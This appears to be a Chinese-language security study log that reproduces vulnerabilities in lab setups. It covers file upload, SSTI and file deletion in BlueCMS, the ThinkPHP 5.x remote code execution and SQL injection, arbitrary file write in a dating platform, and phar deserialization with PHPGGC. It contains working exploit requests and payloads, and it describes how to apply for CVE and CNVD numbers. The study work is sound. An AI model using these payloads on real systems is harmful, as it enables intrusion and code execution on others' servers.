1、对bluecms进行代码审计,分析复现文件上传、ssti模板注入、文件删除等漏洞
文件上传
-
审计
admin/tpl_manage.php
文件发现,在do_edit
模块有三个参数(act = do_edit、tpl_name = 写入文件名称、tpl_content = 写入内容,且代码中未对文件名过滤,导致可以上传任意文件。查看对文件内容进行过滤的函数,找到
deep_stripslashes
函数声明,发现参数str不是数组的情况下就会调用stripslashes(str)
,而stripslashe
函数的作用正好是删除反斜杠,与 addslashes 相反。仅需构造的payload不含
\
,则实现此处的文件上传漏洞。 -
漏洞实现
【后台管理】> 【系统设置】> 【模块管理】点击编辑进入编辑界面,点击提交按钮进行抓包
paload:
act=do_edit&tpl_content=<?php phpinfo();?>&tpl_name=shell.php
同时
templates/default
目录下出现了shell.php,进一步证明文件写入成功,且访问路径php代码被成功解析,实现文件上传功能!
ssti模板注入(smarty版本2.6.22)
-
通过分析
admin/user.php
中,代码可知,bluecms采用了smarty模板引擎在后台,可以看到编辑模板的相关功能
因此可以在模板中插入恶意的代码,从而执行任意命令。此处可知smarty使用的界定符为{#和#}
可以使用{#php#}code{#/php#}标签执行php代码
-
漏洞实现
将恶意代码
{#php#}phpinfo();{#/php#}
插入user.htm模块文件中后,访问user.php页面,发现php代码被解析。漏洞实现成功!
文件删除
-
在分析user.php文件时,分析发现该接口存在权限校验,因此必须具备普通用户权限
发现在编辑个人资料功能(edit_user_info)里face_pic3参数会造成任意文件删除漏洞
-
漏洞实现
登录用户之后,选择修改个人用户信息,抓包并添加如下参数
调试过程中发现进入了到删除文件的代码中
最后查看目录下的test.txt已被删除,漏洞实现成功!
2、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法
-
url传参
-
ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则:
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
这种方式也称为PATH_INFO方式,例如:
http://serverName/index.php/index/index/hello/val/value
-
如果环境只能支持普通方式的URL参数访问,那么必须使用兼容模式访问,如下:
http://serverName/index.php(或者其他应用入口文件)?s=/模块/控制器/操作/[参数名/参值...]
-
-
获取用户参数
-
使用
Request
类可以通过 Request 对象完成全局输入变量的检测、获取和安全过滤。格式如下:
Request::instance()->变量类型('变量名/修饰符');
use think\Request;public function hello() {// 获取单个参数(自动识别GET/POST)$id = Request::instance()->param('id');// 获取所有参数(过滤后数组)$params = Request::instance()->param();// 指定来源(如仅GET)$name = Request::instance()->get('name'); } 2. 助手函
-
使用助手函数
input()
input('变量类型.变量名/修饰符');
// 自动识别请求类型 $id = input('id'); // 指定来源(POST) $email = input('post.email'); // 带默认值和类型修饰符 $page = input('page/d', 1); // 强制转为整数,默认值1
-
3、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法
-
代码执行漏洞
原理:未对控制器名进行合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类方法,最终导致 远程代码执行漏洞的产生。
影响版本:5.0.0~5.0.23 | 5.1.0~5.1.30
典型EXP
POST /index.php?s=index/index HTTP/1.1 _method=__construct&filter[]=system&method=get&get[]=whoami
-
Thinkphp.Red_Tasselled.Spear工具
-
-
sql注入漏洞
原理:未对数据进行有效过滤,直接拼接 SQL 语句导致注入风险。
-
insert方法注入
$username = request()->get('username/a'); db('users')->insert(['username' => $username]);
payload:
index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
-
update方法注入
$username = request()->get('username/a'); db('users')->where(['id' => 1])->update(['username' => $username]);
payload:
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)&username[3]=0
-
select方法注入
$username = request()->get('username'); $result = db('users')->where('username','exp',$username)->select();
payload:
username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
-
orderby 方法注入
$orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
payload:
orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=11
-
Mysql 聚合函数相关方法注入
$options = input('options'); $result = db('users')->max($options);
payload:
options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%231
-
-
常见不安全写法
-
直接拼接 SQL 语句
$list=M('recharge')->where("address='".$address."' and type=".$type)->order("id desc ")->select();
-
动态表名
$wallet = $this->request->param('type'); $list = Db::name($wallet . '_log')->select();
-
Base64 文件上传漏洞
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)) {file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_image_content))); }
-
4、搭建部署脱单交友平台并审计复现任意文件写入漏洞
-
环境搭建
-
上传源码到网站站根目录并解压
-
创建数据库you并导入数据库文件到数据库
-
修改数据库链接文件:config\database.php
-
后台地址:localhost/admin/login/login.html(账号:admin密码:123456)
-
前台地址:localhost/app
-
-
文件上传漏洞
-
审计代码
application\app\controller\Upload.php
文件下面代码通过input函数接收data参数,类型是数组,然后调用base64image函数进行处理
在base64image函数中,直接将上传内容进行base64解码后并保存,没有过滤文件后缀
-
漏洞复现
根据代码分析,构造payload:
-
传入文件为以php结尾,内容
<?php phpinfo();?>
-
符合base64image函数条件:
data=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
(这里<?php phpinfo();?>
base64编码为PD9waHAgcGhwaW5mbygpOz8+) -
防止浏览器对传入
+
解析掉,需要对传入参数data经过一次url编码。最终效果如下图:
访问文件地址,漏洞复现成功!
-
-
5、预习phar反序列化漏洞及编号申请
phar反序列化漏洞
-
phar介绍:phar(PHP Archive)将多个PHP文件打包成一个文件,方便移动和运行。
-
PHAR文件结构
- Stub:PHAR文件的识别标志,格式为
xxx<?php xxx; __HALT_COMPILER();?>
,必须以__HALT_COMPILER();?>
结尾。 - Manifest:存储被压缩文件的权限、属性等信息,用户自定义的meta-data以序列化形式存储,是反序列化漏洞的触发点。
- Contents:被压缩文件的内容。
- Signature:文件的签名,位于文件末尾。
- Stub:PHAR文件的识别标志,格式为
-
利用方法
- 生成恶意PHAR文件:通过PHP内置的
Phar
类生成PHAR文件,将恶意序列化数据存储到meta-data中。 - 上传恶意PHAR文件:将生成的PHAR文件上传到服务器。
- 调用恶意PHAR文件:通过文件操作函数(如
file_exists()
、is_dir()
等)结合phar://
伪协议触发反序列化。
- 生成恶意PHAR文件:通过PHP内置的
-
PHPGGC工具(生成恶意phar文件)
-
简介:PHPGGC是⼀款能够自动生成主流框架的序列化测试payload的⼯具,可以说是反序列化的武器库。项目地址:https://github.com/ambionics/phpggc
-
用法
-
查看全部利用链:
php phpggc -l
; -
查看指定框架利用链
php phpggc -l ThinkPHP
;查看用法:php phpggc ThinkPHP/RCE1 -i
-
生成恶意phar文件:
php phpggc <框架名> <利用链> -o <输出文件>
,例如:php phpggc ThinkPHP/RCE1 system calc -p phar -o a.jpg
-
-
-
文件操作函数(调用恶意phar文件)
通过
phar://
伪协议解析PHAR文件时,以下函数会将meta-data进行反序列化- 常见的函数:
file_exists()
、is_dir()
、md5_file()
、sha1_file()
、getimagesize()
;只要调用php_stream_open_wrapper
的函数,都存在此问题
- 常见的函数:
-
防御措施
- 参数过滤:在文件系统函数的参数可控时,进行严格的过滤。
- 文件内容检查:严格检查上传文件的内容,而不仅仅是文件头。
- 禁用危险函数:在条件允许的情况下,禁用可执行系统命令、代码的危险函数。
漏洞编号申请
-
CVE漏洞编号申请
-
了解CVE和CNA:
-
CVE(Common Vulnerabilities and Exposures):全球通用的漏洞编号系统。
-
CNA(CVE Numbering Authority):CVE编号授权机构,如MITRE、Google、Apple等。
-
-
申请方式:
- 通过VulDB(审核快,约3天):VulDB官网
- 向Participating CNA申请(适用于特定厂商,如Adobe、Microsoft等)。
- 向Primary CNA(MITRE)申请(适用于未被CNA覆盖的漏洞):MITRE申请页面
- 通过DWF(开源漏洞)申请:DWF提交地址
-
实战申请步骤:
- 在GitHub或其他平台发现漏洞,并在Issue中公开披露。
- 通过MITRE网站提交CVE申请表单,描述漏洞详情。
- 1~2天后收到审核结果,成功则分配CVE编号,并在24小时内公开。
-
-
CNVD漏洞编号申请
- 注册与登录:
- 访问CNVD官网注册并登录账户。
- 上报漏洞:
- 进入“立即上报漏洞”页面,选择漏洞类型(事件型或通用型)。
- 填写相关信息(涉事单位、漏洞名称、漏洞URL、影响范围等)。
- 提交漏洞报告(推荐附带PoC/EXP、复现视频等)。
- 审核流程:
- 事件型漏洞:1个工作日内验证,3个工作日内通报涉事单位,约1周内归档。
- 通用型漏洞:5个工作日内通报厂商,审核周期较长(1个月或以上)。
- 证书发放条件:
- 通用型漏洞:CVSS 2.0评分≥4.0,且涉及大型软件开发商(注册资金≥5000万人民币)。
- 事件型漏洞:需为运营商(移动/联通/电信)或党政机关、科研院所等单位的高危漏洞。
- 积分与奖励:
- 原创漏洞会获得CNVD积分,可用于兑换奖励。
- 注册与登录: